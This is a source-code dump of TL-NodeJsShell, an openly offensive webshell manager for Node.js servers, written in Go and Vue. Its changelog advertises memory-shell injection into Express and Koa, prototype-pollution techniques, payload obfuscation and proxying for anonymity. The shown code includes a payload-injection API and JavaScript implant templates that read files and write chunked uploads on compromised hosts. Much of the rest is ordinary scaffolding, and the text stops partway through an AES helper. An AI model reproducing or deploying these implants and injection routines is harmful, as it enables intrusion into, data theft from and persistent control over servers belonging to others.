├── docs ├── images │ ├── logo.ico │ ├── image-20251212115456-c1eetoy.png │ ├── image-20251212115520-tdfnt8f.png │ ├── image-20251212115541-ee6pqdg.png │ ├── image-20251212115610-lv6r139.png │ ├── image-20251212115646-80qohh6.png │ ├── image-20251212115655-4286u25.png │ ├── image-20251212115705-fuy8qqu.png │ ├── image-20251212115734-uif94za.png │ ├── image-20251212115805-83cnawp.png │ └── image-20251212115820-dlh0rqy.png ├── SECURITY.md ├── README.md └── INSTALLATION.md ├── server ├── cmd │ └── api │ │ ├── rsrc_windows.syso │ │ └── main.go ├── internal │ ├── config │ │ └── config.go │ ├── core │ │ ├── crypto │ │ │ ├── base64.go │ │ │ ├── xor.go │ │ │ └── aes.go │ │ ├── payload │ │ │ ├── templates │ │ │ │ ├── uploadFileChunk.js.tpl │ │ │ │ ├── readFile.js.tpl │ │ │ │ ├── downloadFile.js.tpl │ │ │ │ ├── execCommand.js.tpl │ │ │ │ ├── uploadFile.js.tpl │ │ │ │ ├── downloadFileChunk.js.tpl │ │ │ │ └── systemInfo.js.tpl │ │ │ └── generator.go │ │ ├── transport │ │ │ ├── protocol.go │ │ │ ├── httpClient.go │ │ │ ├── requestClient.go │ │ │ ├── getClient.go │ │ │ └── multipartClient.go │ │ ├── exploit │ │ │ ├── memoryShell.go │ │ │ └── nextjsMemoryShell.go │ │ └── proxy │ │ │ └── proxy.go │ ├── app │ │ ├── middleware │ │ │ ├── logger.go │ │ │ └── cors.go │ │ ├── app.go │ │ └── routes │ │ │ └── routes.go │ ├── database │ │ ├── db.go │ │ └── shell.go │ └── handlers │ │ ├── cmdHandler.go │ │ ├── payloadHandler.go │ │ ├── requestHelper.go │ │ └── proxyHandler.go ├── go.mod └── go.sum ├── web ├── tsconfig.node.json ├── src │ ├── api │ │ ├── request.ts │ │ ├── payload.ts │ │ ├── shell.ts │ │ └── file.ts │ ├── App.vue │ ├── main.ts │ ├── stores │ │ ├── proxyStore.ts │ │ ├── shellStore.ts │ │ ├── configStore.ts │ │ └── terminalStore.ts │ ├── types │ │ └── index.ts │ ├── router │ │ └── index.ts │ ├── views │ │ ├── Settings.vue │ │ ├── PayloadGen.vue │ │ ├── ProxyManager.vue │ │ └── ShellManager.vue │ └── components │ │ └── ShellDetail │ │ └── SystemInfo.vue ├── index.html ├── vite.config.ts ├── tsconfig.json └── package.json ├── .gitignore ├── CHANGELOG.md ├── go.work.sum ├── LICENSE ├── .github ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── CODE_OF_CONDUCT.md ├── PULL_REQUEST_TEMPLATE.md ├── workflows │ └── release.yml ├── CONTRIBUTING.md ├── CODE_OF_CONDUCT_EN.md └── CONTRIBUTING_EN.md ├── PROJECT_STRUCTURE.md ├── CHANGELOG_EN.md ├── README.md └── README_EN.md /docs/images/logo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/logo.ico -------------------------------------------------------------------------------- /server/cmd/api/rsrc_windows.syso: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/server/cmd/api/rsrc_windows.syso -------------------------------------------------------------------------------- /docs/images/image-20251212115456-c1eetoy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115456-c1eetoy.png -------------------------------------------------------------------------------- /docs/images/image-20251212115520-tdfnt8f.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115520-tdfnt8f.png -------------------------------------------------------------------------------- /docs/images/image-20251212115541-ee6pqdg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115541-ee6pqdg.png -------------------------------------------------------------------------------- /docs/images/image-20251212115610-lv6r139.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115610-lv6r139.png -------------------------------------------------------------------------------- /docs/images/image-20251212115646-80qohh6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115646-80qohh6.png -------------------------------------------------------------------------------- /docs/images/image-20251212115655-4286u25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115655-4286u25.png -------------------------------------------------------------------------------- /docs/images/image-20251212115705-fuy8qqu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115705-fuy8qqu.png -------------------------------------------------------------------------------- /docs/images/image-20251212115734-uif94za.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115734-uif94za.png -------------------------------------------------------------------------------- /docs/images/image-20251212115805-83cnawp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115805-83cnawp.png -------------------------------------------------------------------------------- /docs/images/image-20251212115820-dlh0rqy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tianlusec/TL-NodeJsShell/HEAD/docs/images/image-20251212115820-dlh0rqy.png -------------------------------------------------------------------------------- /server/internal/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | type Config struct { 4 | Port string 5 | Host string 6 | } 7 | 8 | func Load() *Config { 9 | return &Config{ 10 | Port: "8080", 11 | Host: "0.0.0.0", 12 | } 13 | } 14 | 15 | -------------------------------------------------------------------------------- /server/cmd/api/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "NodeJsshell/internal/app" 6 | "NodeJsshell/internal/config" 7 | ) 8 | 9 | func main() { 10 | cfg := config.Load() 11 | app := app.NewApp(cfg) 12 | if err := app.Run(); err != nil { 13 | log.Fatal(err) 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /web/tsconfig.node.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "composite": true, 4 | "skipLibCheck": true, 5 | "module": "ESNext", 6 | "moduleResolution": "bundler", 7 | "allowSyntheticDefaultImports": true 8 | }, 9 | "include": ["vite.config.ts"] 10 | } 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /web/src/api/request.ts: -------------------------------------------------------------------------------- 1 | import axios from 'axios' 2 | 3 | const request = axios.create({ 4 | baseURL: '/api', 5 | timeout: 30000, 6 | }) 7 | 8 | request.interceptors.response.use( 9 | (response) => response.data, 10 | (error) => { 11 | const message = error.response?.data?.error || error.message || '请求失败' 12 | return Promise.reject(new Error(message)) 13 | } 14 | ) 15 | 16 | export default request 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /web/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | NodeJsshell Manager 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /web/src/App.vue: -------------------------------------------------------------------------------- 1 | 4 | 5 | 7 | 8 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /web/src/api/payload.ts: -------------------------------------------------------------------------------- 1 | import request from './request' 2 | 3 | export const payloadApi = { 4 | getTemplates: (): Promise => { 5 | return request.get('/payload/templates') 6 | }, 7 | inject: (data: { 8 | url: string 9 | password?: string 10 | encode_type?: string 11 | template_name?: string 12 | shell_path?: string 13 | headers?: Record 14 | }): Promise => { 15 | return request.post('/payload/inject', data) 16 | }, 17 | } 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /web/vite.config.ts: -------------------------------------------------------------------------------- 1 | import { defineConfig } from 'vite' 2 | import vue from '@vitejs/plugin-vue' 3 | import path from 'path' 4 | 5 | export default defineConfig({ 6 | plugins: [vue()], 7 | resolve: { 8 | alias: { 9 | '@': path.resolve(__dirname, 'src'), 10 | }, 11 | }, 12 | server: { 13 | port: 5173, 14 | proxy: { 15 | '/api': { 16 | target: 'http://localhost:8080', 17 | changeOrigin: true, 18 | }, 19 | }, 20 | }, 21 | build: { 22 | outDir: 'dist', 23 | }, 24 | }) 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /web/src/main.ts: -------------------------------------------------------------------------------- 1 | import { createApp } from 'vue' 2 | import { createPinia } from 'pinia' 3 | import ElementPlus from 'element-plus' 4 | import 'element-plus/dist/index.css' 5 | import * as ElementPlusIconsVue from '@element-plus/icons-vue' 6 | import App from './App.vue' 7 | import router from './router' 8 | 9 | const app = createApp(App) 10 | 11 | for (const [key, component] of Object.entries(ElementPlusIconsVue)) { 12 | app.component(key, component) 13 | } 14 | 15 | app.use(createPinia()) 16 | app.use(router) 17 | app.use(ElementPlus) 18 | 19 | app.mount('#app') 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /server/internal/core/crypto/base64.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "encoding/base64" 5 | ) 6 | 7 | func Base64Encode(data string, layers int) string { 8 | result := data 9 | for i := 0; i < layers; i++ { 10 | result = base64.StdEncoding.EncodeToString([]byte(result)) 11 | } 12 | return result 13 | } 14 | 15 | func Base64Decode(data string, layers int) string { 16 | result := data 17 | for i := 0; i < layers; i++ { 18 | decoded, err := base64.StdEncoding.DecodeString(result) 19 | if err != nil { 20 | return data 21 | } 22 | result = string(decoded) 23 | } 24 | return result 25 | } 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /web/src/stores/proxyStore.ts: -------------------------------------------------------------------------------- 1 | import { defineStore } from 'pinia' 2 | import { ref, computed } from 'vue' 3 | import request from '@/api/request' 4 | import type { Proxy } from '@/types' 5 | 6 | export const useProxyStore = defineStore('proxy', () => { 7 | const proxies = ref([]) 8 | 9 | const fetchProxies = async () => { 10 | proxies.value = await request.get('/proxies') 11 | } 12 | 13 | const getEnabledProxies = () => { 14 | return computed(() => proxies.value.filter(p => p.enabled)).value 15 | } 16 | 17 | return { 18 | proxies, 19 | fetchProxies, 20 | getEnabledProxies, 21 | } 22 | }) 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /server/internal/app/middleware/logger.go: -------------------------------------------------------------------------------- 1 | package middleware 2 | 3 | import ( 4 | "log" 5 | "time" 6 | "github.com/gin-gonic/gin" 7 | ) 8 | 9 | func Logger() gin.HandlerFunc { 10 | return func(c *gin.Context) { 11 | start := time.Now() 12 | path := c.Request.URL.Path 13 | raw := c.Request.URL.RawQuery 14 | 15 | c.Next() 16 | 17 | latency := time.Since(start) 18 | clientIP := c.ClientIP() 19 | method := c.Request.Method 20 | statusCode := c.Writer.Status() 21 | 22 | if raw != "" { 23 | path = path + "?" + raw 24 | } 25 | 26 | log.Printf("[%s] %s %s %d %v", clientIP, method, path, statusCode, latency) 27 | } 28 | } 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /server/internal/app/middleware/cors.go: -------------------------------------------------------------------------------- 1 | package middleware 2 | 3 | import ( 4 | "github.com/gin-gonic/gin" 5 | ) 6 | 7 | func CORS() gin.HandlerFunc { 8 | return func(c *gin.Context) { 9 | c.Writer.Header().Set("Access-Control-Allow-Origin", "*") 10 | c.Writer.Header().Set("Access-Control-Allow-Credentials", "true") 11 | c.Writer.Header().Set("Access-Control-Allow-Headers", "Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With") 12 | c.Writer.Header().Set("Access-Control-Allow-Methods", "POST, OPTIONS, GET, PUT, DELETE") 13 | 14 | if c.Request.Method == "OPTIONS" { 15 | c.AbortWithStatus(204) 16 | return 17 | } 18 | 19 | c.Next() 20 | } 21 | } 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /server/internal/core/crypto/xor.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | func XOREncode(data string, key string, layers int) string { 4 | result := data 5 | for i := 0; i < layers; i++ { 6 | result = xor(result, key) 7 | } 8 | return result 9 | } 10 | 11 | func XORDecode(data string, key string, layers int) string { 12 | return XOREncode(data, key, layers) 13 | } 14 | 15 | func xor(data string, key string) string { 16 | if key == "" { 17 | return data 18 | } 19 | 20 | dataBytes := []byte(data) 21 | keyBytes := []byte(key) 22 | keyLen := len(keyBytes) 23 | 24 | result := make([]byte, len(dataBytes)) 25 | for i := 0; i < len(dataBytes); i++ { 26 | result[i] = dataBytes[i] ^ keyBytes[i%keyLen] 27 | } 28 | return string(result) 29 | } 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /server/internal/app/app.go: -------------------------------------------------------------------------------- 1 | package app 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "NodeJsshell/internal/app/middleware" 7 | "NodeJsshell/internal/app/routes" 8 | "NodeJsshell/internal/config" 9 | "github.com/gin-gonic/gin" 10 | ) 11 | 12 | type App struct { 13 | config *config.Config 14 | router *gin.Engine 15 | } 16 | 17 | func NewApp(cfg *config.Config) *App { 18 | gin.SetMode(gin.ReleaseMode) 19 | router := gin.New() 20 | router.Use(middleware.Logger()) 21 | router.Use(middleware.CORS()) 22 | 23 | return &App{ 24 | config: cfg, 25 | router: router, 26 | } 27 | } 28 | 29 | func (a *App) Run() error { 30 | routes.SetupRoutes(a.router) 31 | addr := fmt.Sprintf("%s:%s", a.config.Host, a.config.Port) 32 | log.Printf("Server starting on %s", addr) 33 | return a.router.Run(addr) 34 | } 35 | 36 | -------------------------------------------------------------------------------- /web/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2020", 4 | "useDefineForClassFields": true, 5 | "module": "ESNext", 6 | "lib": ["ES2020", "DOM", "DOM.Iterable"], 7 | "skipLibCheck": true, 8 | "moduleResolution": "bundler", 9 | "allowImportingTsExtensions": true, 10 | "resolveJsonModule": true, 11 | "isolatedModules": true, 12 | "noEmit": true, 13 | "jsx": "preserve", 14 | "strict": true, 15 | "noUnusedLocals": true, 16 | "noUnusedParameters": true, 17 | "noFallthroughCasesInSwitch": true, 18 | "baseUrl": ".", 19 | "paths": { 20 | "@/*": ["src/*"] 21 | } 22 | }, 23 | "include": ["src/**/*.ts", "src/**/*.d.ts", "src/**/*.tsx", "src/**/*.vue"], 24 | "references": [{ "path": "./tsconfig.node.json" }] 25 | } 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /web/src/types/index.ts: -------------------------------------------------------------------------------- 1 | export interface Shell { 2 | id: number 3 | url: string 4 | password: string 5 | encode_type: string 6 | protocol: string 7 | method: string 8 | group?: string 9 | name: string 10 | status: string 11 | last_active?: string 12 | latency?: number 13 | system_info?: string 14 | custom_headers?: string 15 | proxy_id?: number 16 | created_at: string 17 | updated_at: string 18 | } 19 | 20 | export interface Proxy { 21 | id: number 22 | name: string 23 | type: string 24 | host: string 25 | port: number 26 | username?: string 27 | password?: string 28 | enabled: boolean 29 | created_at: string 30 | updated_at: string 31 | } 32 | 33 | export interface FileItem { 34 | name: string 35 | path: string 36 | type: string 37 | size: string 38 | mode: string 39 | time: string 40 | } 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /server/internal/database/db.go: -------------------------------------------------------------------------------- 1 | package database 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/glebarez/sqlite" 7 | "gorm.io/gorm" 8 | ) 9 | 10 | type DB struct { 11 | *gorm.DB 12 | } 13 | 14 | func NewDB() *DB { 15 | if err := os.MkdirAll("data", 0755); err != nil { 16 | // Try creating in server/data if running from root 17 | if err := os.MkdirAll("server/data", 0755); err == nil { 18 | // If successful, use server/data path 19 | } 20 | } 21 | 22 | dbPath := "data/nodeshell.db" 23 | if _, err := os.Stat("data"); os.IsNotExist(err) { 24 | if _, err := os.Stat("server/data"); err == nil { 25 | dbPath = "server/data/nodeshell.db" 26 | } 27 | } 28 | 29 | db, err := gorm.Open(sqlite.Open(dbPath), &gorm.Config{}) 30 | if err != nil { 31 | panic("failed to connect database") 32 | } 33 | 34 | db.AutoMigrate(&Shell{}, &History{}, &Proxy{}) 35 | 36 | return &DB{db} 37 | } 38 | -------------------------------------------------------------------------------- /web/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "NodeJsshell-frontend", 3 | "version": "1.0.0", 4 | "type": "module", 5 | "scripts": { 6 | "dev": "vite", 7 | "build": "vite build", 8 | "build:check": "vue-tsc --noEmit && vite build", 9 | "type-check": "vue-tsc --noEmit", 10 | "preview": "vite preview" 11 | }, 12 | "dependencies": { 13 | "@element-plus/icons-vue": "^2.3.1", 14 | "@vueuse/core": "^10.7.0", 15 | "axios": "^1.6.2", 16 | "element-plus": "^2.4.4", 17 | "filepond": "^4.30.4", 18 | "monaco-editor": "^0.44.0", 19 | "pinia": "^2.1.7", 20 | "vue": "^3.3.4", 21 | "vue-router": "^4.2.5", 22 | "xterm": "^5.3.0", 23 | "xterm-addon-fit": "^0.8.0" 24 | }, 25 | "devDependencies": { 26 | "@vitejs/plugin-vue": "^4.5.0", 27 | "sass": "^1.69.5", 28 | "typescript": "^5.3.3", 29 | "vite": "^5.0.8", 30 | "vue-tsc": "^3.1.6" 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /server/internal/core/payload/templates/uploadFileChunk.js.tpl: -------------------------------------------------------------------------------- 1 | const fs=require('fs'),p=require('path');try{const f={{FILE_PATH}},i={{CHUNK_INDEX}},d={{CHUNK_DATA}},t={{TOTAL_CHUNKS}};if(!f||typeof f!=='string')throw new Error('Invalid path');if(typeof i!=='number'||i<0)throw new Error('Invalid index');if(!d||typeof d!=='string')throw new Error('Invalid data');if(typeof t!=='number'||t<=0)throw new Error('Invalid total');const target=p.resolve(f),dir=p.dirname(target);if(!fs.existsSync(dir))fs.mkdirSync(dir,{recursive:true});const buf=Buffer.from(d,'base64'),tmp=target+'.tmp';if(i===0)fs.writeFileSync(tmp,buf);else fs.appendFileSync(tmp,buf);if(i===t-1){fs.renameSync(tmp,target);console.log(JSON.stringify({ok:true,path:target,chunkIndex:i,totalChunks:t,chunk_index:i,total_chunks:t,message:'ok'}));}else{console.log(JSON.stringify({ok:true,path:target,chunkIndex:i,totalChunks:t,chunk_index:i,total_chunks:t,message:'chunk ok'}));}}catch(e){console.log(JSON.stringify({ok:false,error:String(e.message||e),chunkIndex:typeof i!=='undefined'?i:-1}));} 2 | -------------------------------------------------------------------------------- /web/src/api/shell.ts: -------------------------------------------------------------------------------- 1 | import request from './request' 2 | import type { Shell } from '@/types' 3 | 4 | export const shellApi = { 5 | list: (): Promise => { 6 | return request.get('/shells') 7 | }, 8 | get: (id: number): Promise => { 9 | return request.get(`/shells/${id}`) 10 | }, 11 | create: (shell: Partial): Promise => { 12 | return request.post('/shells', shell) 13 | }, 14 | update: (id: number, shell: Partial): Promise => { 15 | return request.put(`/shells/${id}`, shell) 16 | }, 17 | delete: (id: number): Promise => { 18 | return request.delete(`/shells/${id}`) 19 | }, 20 | test: (id: number): Promise<{ success: boolean; latency: number }> => { 21 | return request.post(`/shells/${id}/test`) 22 | }, 23 | execute: (id: number, command: string): Promise => { 24 | return request.post(`/shells/${id}/execute`, { command }) 25 | }, 26 | getInfo: (id: number, params?: any): Promise => { 27 | return request.get(`/shells/${id}/info`, { params }) 28 | }, 29 | } 30 | 31 | -------------------------------------------------------------------------------- /web/src/router/index.ts: -------------------------------------------------------------------------------- 1 | import { createRouter, createWebHistory } from 'vue-router' 2 | 3 | const router = createRouter({ 4 | history: createWebHistory(), 5 | routes: [ 6 | { 7 | path: '/', 8 | name: 'Dashboard', 9 | component: () => import('@/views/Dashboard.vue'), 10 | }, 11 | { 12 | path: '/shells', 13 | name: 'ShellManager', 14 | component: () => import('@/views/ShellManager.vue'), 15 | }, 16 | { 17 | path: '/shell/:shellId/:tab?', 18 | name: 'ShellDetail', 19 | component: () => import('@/views/ShellDetail.vue'), 20 | }, 21 | { 22 | path: '/payload', 23 | name: 'PayloadGen', 24 | component: () => import('@/views/PayloadGen.vue'), 25 | }, 26 | { 27 | path: '/proxy', 28 | name: 'ProxyManager', 29 | component: () => import('@/views/ProxyManager.vue'), 30 | }, 31 | { 32 | path: '/settings', 33 | name: 'Settings', 34 | component: () => import('@/views/Settings.vue'), 35 | }, 36 | ], 37 | }) 38 | 39 | export default router 40 | 41 | -------------------------------------------------------------------------------- /web/src/stores/shellStore.ts: -------------------------------------------------------------------------------- 1 | import { defineStore } from 'pinia' 2 | import { ref } from 'vue' 3 | import { shellApi } from '@/api/shell' 4 | import type { Shell } from '@/types' 5 | 6 | export const useShellStore = defineStore('shell', () => { 7 | const shells = ref([]) 8 | 9 | const fetchShells = async () => { 10 | shells.value = await shellApi.list() 11 | } 12 | 13 | const createShell = async (shell: Partial) => { 14 | const newShell = await shellApi.create(shell) 15 | await fetchShells() 16 | return newShell 17 | } 18 | 19 | const updateShell = async (id: number, shell: Partial) => { 20 | const updated = await shellApi.update(id, shell) 21 | await fetchShells() 22 | return updated 23 | } 24 | 25 | const deleteShell = async (id: number) => { 26 | await shellApi.delete(id) 27 | await fetchShells() 28 | } 29 | 30 | const testShell = async (id: number) => { 31 | return await shellApi.test(id) 32 | } 33 | 34 | return { 35 | shells, 36 | fetchShells, 37 | createShell, 38 | updateShell, 39 | deleteShell, 40 | testShell, 41 | } 42 | }) 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool 12 | *.out 13 | 14 | # Go workspace file 15 | go.work 16 | 17 | # Dependency directories 18 | vendor/ 19 | 20 | # Server build 21 | server/NodeJsshell 22 | server/NodeJsshell.exe 23 | server/dist/ 24 | server/build/ 25 | 26 | # Database files 27 | *.db 28 | *.sqlite 29 | *.sqlite3 30 | 31 | # Web 32 | web/node_modules/ 33 | web/dist/ 34 | web/.vite/ 35 | web/.cache/ 36 | 37 | # Logs 38 | *.log 39 | logs/ 40 | *.log.* 41 | 42 | # OS files 43 | .DS_Store 44 | Thumbs.db 45 | desktop.ini 46 | 47 | # IDE 48 | .vscode/ 49 | .idea/ 50 | *.swp 51 | *.swo 52 | *~ 53 | .project 54 | .classpath 55 | .settings/ 56 | 57 | # Environment variables 58 | .env 59 | .env.local 60 | .env.*.local 61 | 62 | # Temporary files 63 | tmp/ 64 | temp/ 65 | *.tmp 66 | 67 | # Build artifacts 68 | build/ 69 | out/ 70 | 71 | # Coverage 72 | coverage/ 73 | *.cover 74 | *.coverage 75 | 76 | # Debug 77 | debug 78 | __debug_bin 79 | 80 | # Config files (if containing sensitive data) 81 | config.local.json 82 | config.local.yaml -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # 更新日志 2 | 3 | [English](CHANGELOG_EN.md) | 简体中文 4 | 5 | 本文件记录项目的所有重要更改。 6 | 7 | 格式基于 [Keep a Changelog](https://keepachangelog.com/zh-CN/1.0.0/), 8 | 项目遵循 [语义化版本](https://semver.org/lang/zh-CN/spec/v2.0.0.html)。 9 | 10 | ## [未发布] 11 | 12 | ### 计划中 13 | - WebSocket 支持实时通信 14 | - 插件系统以提供扩展性 15 | - 多用户支持与身份验证 16 | - 增强的日志和审计跟踪 17 | - Docker 部署支持 18 | 19 | ## [1.0.0] - 2024-12-12 20 | 21 | ### 新增 22 | - TL-NodeJsShell 首次发布 23 | - 内存马注入功能 24 | - Express 中间件注入 25 | - Koa 中间件注入 26 | - 原型链污染技术 27 | - 多种编码支持(Base64、XOR、AES) 28 | - 基于 xterm.js 的交互式虚拟终端 29 | - 综合文件管理系统- 文件浏览器与目录导航 30 | - 支持分块传输的上传/下载 31 | - 基于 Monaco 编辑器的文件预览和编辑 32 | - 代理支持(HTTP/HTTPS/SOCKS5) 33 | - 自定义 HTTP 请求头配置 34 | - 实时 Shell 状态监控 35 | - 系统信息收集 36 | - 命令历史记录 37 | - 现代化的 Vue 3 + TypeScript 前端 38 | - 基于 Gin 框架的 Go 后端 39 | - SQLite 数据库持久化 40 | - RESTful API 设计 41 | - 基于 Element Plus 的响应式 UI 42 | 43 | ### 安全性 44 | - Shell 密码保护 45 | - 多种编码方法用于 Payload 混淆 46 | - 代理支持以提供匿名性 47 | - 输入验证和清理 48 | 49 | ### 文档 50 | - 包含英文和中文版本的综合 README 51 | - API 文档 52 | - 贡献指南 53 | - 行为准则 54 | - MIT 许可证 55 | 56 | --- 57 | 58 | [未发布]: https://github.com/tianlusec/TL-NodeJsShell/compare/v1.0.0...HEAD 59 | [1.0.0]: https://github.com/tianlusec/TL-NodeJsShell/releases/tag/v1.0.0 -------------------------------------------------------------------------------- /go.work.sum: -------------------------------------------------------------------------------- 1 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= 2 | github.com/mattn/go-sqlite3 v1.14.16/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= 3 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 4 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= 5 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 6 | lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= 7 | modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= 8 | modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= 9 | modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= 10 | modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= 11 | modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= 12 | modernc.org/tcl v1.15.2/go.mod h1:3+k/ZaEbKrC8ePv8zJWPtBSW0V7Gg9g8rkmhI1Kfs3c= 13 | modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= 14 | modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE= 15 | -------------------------------------------------------------------------------- /server/internal/core/payload/templates/readFile.js.tpl: -------------------------------------------------------------------------------- 1 | const fs = require('node:fs'); 2 | const path = require('node:path'); 3 | try { 4 | let filePath = {{FILE_PATH}}; 5 | if (!filePath || typeof filePath !== 'string') { 6 | throw new Error('Invalid file path'); 7 | } 8 | 9 | let target; 10 | try { 11 | target = path.resolve(filePath); 12 | } catch(pathError) { 13 | throw new Error('Failed to resolve file path: ' + String(pathError)); 14 | } 15 | 16 | if (!fs.existsSync(target)) { 17 | throw new Error('File not found: ' + target); 18 | } 19 | 20 | let stats; 21 | try { 22 | stats = fs.statSync(target); 23 | } catch(statError) { 24 | throw new Error('Failed to get file stats: ' + String(statError)); 25 | } 26 | 27 | if (!stats.isFile()) { 28 | throw new Error('Path is not a file: ' + target); 29 | } 30 | 31 | let content; 32 | try { 33 | content = fs.readFileSync(target, 'utf8'); 34 | } catch(readError) { 35 | throw new Error('Failed to read file: ' + String(readError)); 36 | } 37 | 38 | console.log(JSON.stringify({ 39 | ok: true, 40 | path: target, 41 | content: content, 42 | size: content.length 43 | })); 44 | } catch(error) { 45 | console.log(JSON.stringify({ 46 | ok: false, 47 | error: String(error.message || error) 48 | })); 49 | } 50 | 51 | -------------------------------------------------------------------------------- /web/src/stores/configStore.ts: -------------------------------------------------------------------------------- 1 | import { defineStore } from 'pinia' 2 | import { ref, onMounted } from 'vue' 3 | 4 | export const useConfigStore = defineStore('config', () => { 5 | const theme = ref('light') 6 | const language = ref('zh-CN') 7 | const fontSize = ref(14) 8 | 9 | const setTheme = (newTheme: string) => { 10 | theme.value = newTheme 11 | localStorage.setItem('theme', newTheme) 12 | } 13 | 14 | const setLanguage = (lang: string) => { 15 | language.value = lang 16 | localStorage.setItem('language', lang) 17 | } 18 | 19 | const setFontSize = (size: number) => { 20 | fontSize.value = size 21 | localStorage.setItem('fontSize', size.toString()) 22 | } 23 | 24 | const init = () => { 25 | const savedTheme = localStorage.getItem('theme') 26 | const savedLanguage = localStorage.getItem('language') 27 | const savedFontSize = localStorage.getItem('fontSize') 28 | 29 | if (savedTheme) { 30 | theme.value = savedTheme 31 | } 32 | if (savedLanguage) { 33 | language.value = savedLanguage 34 | } 35 | if (savedFontSize) { 36 | fontSize.value = parseInt(savedFontSize, 10) 37 | } 38 | } 39 | 40 | return { 41 | theme, 42 | language, 43 | fontSize, 44 | setTheme, 45 | setLanguage, 46 | setFontSize, 47 | init, 48 | } 49 | }) 50 | 51 | -------------------------------------------------------------------------------- /server/internal/core/crypto/aes.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "encoding/base64" 8 | "fmt" 9 | "io" 10 | ) 11 | 12 | func AESEncrypt(plaintext string, key []byte) (string, error) { 13 | block, err := aes.NewCipher(key) 14 | if err != nil { 15 | return "", err 16 | } 17 | 18 